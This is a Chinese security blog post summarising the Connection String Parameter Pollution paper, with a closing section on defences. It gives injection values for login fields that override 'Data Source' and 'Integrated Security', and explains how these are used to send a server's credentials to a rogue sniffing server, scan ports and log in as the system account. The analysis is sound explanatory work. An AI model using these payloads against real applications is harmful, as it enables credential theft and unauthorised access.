CSPP 连接字符串参数污染攻击

admin 2022年3月17日07:27:05评论107 views字数 5801阅读19分20秒阅读模式

CSPP 连接字符串参数污染攻击


△△△点击上方“蓝字”关注我们了解更多精彩




0x00 前言

    SQL注入攻击是最常见的注入攻击方法,主要利用web应用调用数据库查询的实现缺陷来进行攻击。

    CSPP攻击,顾名思义,则是通过利用应用程序连接到数据库过程中设计缺陷来进行漏洞攻击。

    由于现在WEB应用数据查询体系的发展方向,导致CSPP攻击已经逐渐消失在大众的目光下。

    如果你不知道的话,那就来和我一起学习吧


本文主要由CSPP论文译文简述与我的额外附录组成。 并描述了CSPP攻击利用:Hash窃取、端口扫描、劫持登录证书。

参考论文: Connection String Parameter PollutionAttacks即:CSPP 连接字符串参数污染攻击





0x01 Web应用认证委托体系

典型的web应用程序的身份验证系统有两种实现结构

1、创建自己的凭据认证系统 (目前常见于WEB应用)

2、将其委托给数据库引擎(目前常见于内网应用)


在大多数情况下,应用程序开发人员选择只使用一个用户连接数据库。

从数据库端来看,这个数据库用户代表整个web应用程序,web应用程序将使用这一个数据库连接,来实现对存储应用程序的用户身份凭证的自定义用户表进行SQL查询。

CSPP 连接字符串参数污染攻击

1.公共web应用程序身份验证体系结构


Web应用程序管理登录过程

1.Web应用程序使用它的凭据连接到数据库

2.查询用户登录信息

3.检查存储在用户自定义表中的用户登录信息


    web应用程序由一个数据库用户标识,该用户可以访问数据库中的整个应用程序内容,因此,不可能在数据库中的不同对象上实现粒度化的权限系统,或者跟踪web应用程序中每个用户的操作,只能将这些任务委托给web应用程序本身。 这种架构很常见,可以在广泛使用的CMS系统中找到,如Joomla、Mambo和许多其他系统。通常情况下,攻击者的目标是从数据库中的users表中获取应用程序用户凭据。


另一种方法是将身份验证委托给数据库引擎,这样连接字符串就不再包含一组固定的凭据,而是使用用户输入的凭据,并由数据库引擎负责检查它们。

数据库管理程序经常使用这种委托身份验证,以便连接到应用程序的用户只能访问和控制他拥有权限的对象和操作。有了这种架构,就可以实现一个细粒度的权限系统,并能够在数据库中跟踪用户的操作。

CSPP 连接字符串参数污染攻击

2.Web应用程序委托身份验证体系结构。


数据库引擎管理登录过程

1.web应用要求输入凭证

2.连接字符串由要连接到数据库的输入凭证组成

3.连接字符串中使用的用户的决定着账号的角色和权限


本文中描述的CSPP攻击集中于第二种环境: 将身份验证委托给数据库引擎。

tips: 较久远的内网客户端应用常用第二种架构



0x02 连接字符串介绍 
    连接字符串被用于连接应用程序到数据库引擎。
    其中指定要连接的服务器和端口、数据库名称、身份验证凭据和一些连接配置参数,如超时、替代数据库、通信协议或加密选项。

一个用于连接到MicrosoftSQL Server数据库的普通连接字符串:

"Data Source=Server, Port; NetworkLibrary=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd;"  #为了显示效果进行换号

如示例所示,连接字符串是由分号(;)分隔的参数集合,每个参数是一个键值对,

无论SQL server是什么版本(7,2000,2005和2008),其中默认支持程序的连接字符串语法是相同的



0x03 连接字符串注入

在授权认证环境中,连接字符串注入技术允许攻击者通过在参数后面附加分号(;)来注入参数。

在一个要求用户输入用户名和密码以创建连接字符串的示例中,攻击者可以输入密码,例如 "pwd;Encryption=off",产生的连接字符串如下:

"Data Source=Server, Port; NetworkLibrary=DBMSSOCN; Initial Catalog=DataBase; User ID=Username; Password=pwd;Encryption=off"

此时,填充连接字符串时,加密值将添加到前面配置的参数中



0x04 连接字符串参数污染

参数污染技术用于覆盖参数上的值。

它们在HTTP环境中是众所周知的,但它们也适用于其他环境。

在本例中,可以将参数污染技术应用于连接字符串中的参数,从而允许多种攻击。


示例场景:

1、一个运行在Windows的IIS Web服务器上的web应用程序,

2、其中用户认证时需要一个用户[User_Value]和一个密码[Password_Value]。

3、应用程序将用户输入的凭据用于创建到SQL Server数据库的连接字符串,

如下所示:

Data source SQL2005; initial catalogdbl ; integrated security=no; user id=+' User_Value' + ; Password=+'PasswordValue' + ;
PS: integrated security 集成安全属性 后文有介绍

这个连接字符串是应用程序连接到SQL Server数据库引擎的常见方式。


CSPP 连接字符串参数污染攻击思想是:

向连接字符串添加一个具有所需值的参数,而不管该参数是否已经存在于字符串中或已经设置的值中。

.NET应用创建连接字符串时默认使用连接字符串中最后一次出现的参数的值。

即,如果连接字符串有两个键为“Data Source”的参数,那么使用的值将是最后两个对中的一个。



0x05 CSPP攻击1:Hash窃取

    攻击者可以在Internet放置一个用于监听的欺诈SQL Server,并使用SQL Server凭证嗅探器监听(在本例中使用了CAIN )


攻击者会进行如下CSPP攻击:

UserValue: Data Source = 欺诈服务器地址PasswordValue: Integrated Security true    


正确拼接将生成以下连接字符串:

Data source SQL2005; initial catalogdbl; integrated security=no; user id=;Data Source=欺诈服务器地址; Password Integrated Security=true


此时"Data Source"和"Integrated Security"参数被覆盖,因此SQL Server本地驱动程序将使用最后一组值,而忽略前面的值。


此时,应用程序将尝试使用运行的Windows凭据连接到欺诈服务器,该凭据可以是系统用户,也可以是应用程序池用户。此时通过在欺诈服务器嗅探,可以获取到web应用所使用的凭据。




0x06 示例1:ASP.NET Enterprise Manager


    ASP.NETEnterprise Manager 是一个被遗弃的、不受支持的开源数据库工具,通过web界面来管理SQL Server数据库,这个工具还可以从SourceForge等网站上获得。

CSPP 连接字符串参数污染攻击

3.利用CSPP窃取ASP.NET企业管理工具中的帐户信息

CSPP 连接字符串参数污染攻击


4所示.在欺诈服务器中运行的Cain收集到HASH


HASH窃取主要流程

1、构造链接,使得服务器向欺诈服务器发起携带默认认证信息的请求。

2、最终导致在应用将凭证发往安装了数据库连接嗅探器的欺诈服务器上,

3、嗅探器CAIN成功收集到了允许访问该帐户的LM哈希。


tips:现在可以使用其他的凭证嗅探工具,如respender

CSPP 连接字符串参数污染攻击



0x07 CSPP攻击2:端口扫描

    连接字符串上的一个有效参数是要连接到的端口。

    攻击者可以通过修改端口号尝试连接到不同的端口,通过对比获得的错误消息,从而实现扫描内部或外部网络上的服务器:


注入输入值:

User_Value: Data Source =IP, PortPassword Value:IntegratedSecurity true

此种输入将产生以下连接字符串:
Data source SQL2005; initial catalog dbl ; integrated security=no; user id=;Data Source=Server, Port; Password=;Integrated Security=true;

此连接字符串将忽略第一个“Data Source”参数,并将使用最后一个“Data Source”参数,这意味着web应用程序将尝试连接到“Server”机器上的“Target Port”端口。


观察返回的错误消息中的差异,从而可以执行端口扫描。



0x08 示例2: myLittleAdmin and myLittleBackup

    mylittleleadmin和myLittleBackup都是由myLittleTools开发的商业工具。这两个工具在mylittleleadmin 3.5myLittleBackup1.6版本之前都容易受到CSPP攻击。


CSPP 连接字符串参数污染攻击

图5可以通过端口80建立到www.gooogle.com的连接

CSPP 连接字符串参数污染攻击

图6 无法通过XX端口与www.google.com建立连接


端口扫描分析过程:

    如图5所示,当端口正在监听(打开)时,获得的错误消息说没有Microsoft SQL Server正在监听,但是成功建立了TCP连接。说明端口是开放的。

    如图6所示,当端口关闭时,TCP连接无法完成,错误消息是不同的。使用这些错误消息,可以在服务器上运行完整的TCP端口扫描。



0x09 CSPP攻击3:劫持Web证书

    攻击者可以试图通过使用web应用程序使用系统帐户连接数据库,而不需要用户提供账号密码信息:

输入值:

User Value: Data Source =Target_Server Password Value: Integrated Security true

这些注入的值将产生以下连接字符串:

Data source SQL2005; initial catalog dbl ; integratedsecurity=no; user id=;Data Source=Server,Port; Password Integrated Security=true;


这一次是主要用“True”值覆盖的“integrated security”参数。

这意味着系统将尝试使用工具正在运行的系统帐户连接数据库。

在本例中,这是web服务器中的web应用程序使用的系统帐户。

PS: integrated security属性请看附录



0X10 示例3: SQL Server Web Data Administrator

    发布在微软网站上的SQL Server Web Data Administrator版本容易受到CSPP攻击。

下面的截图显示了如何使用这种类型的攻击访问系统。

CSPP 连接字符串参数污染攻击

7.WEB Data Administrator工具上利用凭据

CSPP 连接字符串参数污染攻击

8.使用服务器帐户进行控制台访问


CSPP 连接字符串参数污染攻击

9.系统帐户访问授权


在图7中,密码值为如上所述的: integrated Security=true。

攻击者可以登录web应用程序来管理整个系统。

如图9所示,漏洞原因是所有用户和网络服务都可以访问服务器。



0x11 Integrated security介绍


常规连接数据库字符串示例:

string constr = "Data source=(local);initial catalog=data;integratedsecurity=true";

integratedsecurity=false (默认)

表示一定要输入正确的数据库登录名和密码,才能进行登录认证。

integratedsecurity=true

表示可以在不知道数据库用户名和密码的情况下时连接数据库,利用当前应用凭据进行认证。


通过构造CSPP将integrated security 覆盖为true,能够实现HASH窃取,免密登录等效果。



0x12 其他数据库连接字符串

    这些技术也适用于其他数据库引擎,

    如Oracle数据库,它允许管理员在数据库中设置集成的安全性。 此外,在Oracle连接字符串中,可以通过强制使用sysdba会话来改变用户连接的方式。

    MySQL数据库不允许管理员配置集成的安全认证过程。然而,仍然有可能注入代码和操作连接字符串,以尝试连接到未向Internet公开的内部服务器。


各种数据库的连接字符串

mysql

"Server=localhost;Database=mytest;User=root;Password=;Port=3306;Charset=utf8"

SQL Server

"Database=MyData;DataSource=NICKYAN-PC;User Id=sa;Password=123123;"

Oracle

"DataSource=NICKYAN-PC;User Id=PB_DB_USER;Password=123123;IntegratedSecurity=no"

OleDB

"Provider=Microsoft.Jet.OLEDB.4.0;DataSource=RedGlovePermission.WebDBMyData.mdb;Persist Security Info=False"




0x13 防御办法
    微软发布了ConnectionStringbuilder是避免这类攻击,但并不是所有的项目都更新为使用这些新的安全组件。
    为了避免这些攻击,必须过滤掉分号字符,清除所有参数,并加强防火墙,以便不仅过滤入站连接,还防止来自向internet发送NTLM凭据的内部服务器的出站连接。




0x14 总结

    论文是道客巴巴买的,如果需要原版英文PDF,还有有道云辅助汉化版,可以加我们帅气的运营小哥哥好友分享给你


END



如您有任何投稿、问题、建议、需求、合作、后台留言NOVASEC公众号!


或添加NOVASEC-MOYU 以便于及时回复。

CSPP 连接字符串参数污染攻击


感谢大哥们的对NOVASEC的支持点赞和关注

加入我们与萌新一起成长吧!


本团队任何技术及文件仅用于学习分享,请勿用于任何违法活动,感谢大家的支持!



本文始发于微信公众号(NOVASEC):CSPP 连接字符串参数污染攻击

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年3月17日07:27:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   CSPP 连接字符串参数污染攻击https://cn-sec.com/archives/494319.html

发表评论

匿名网友 填写信息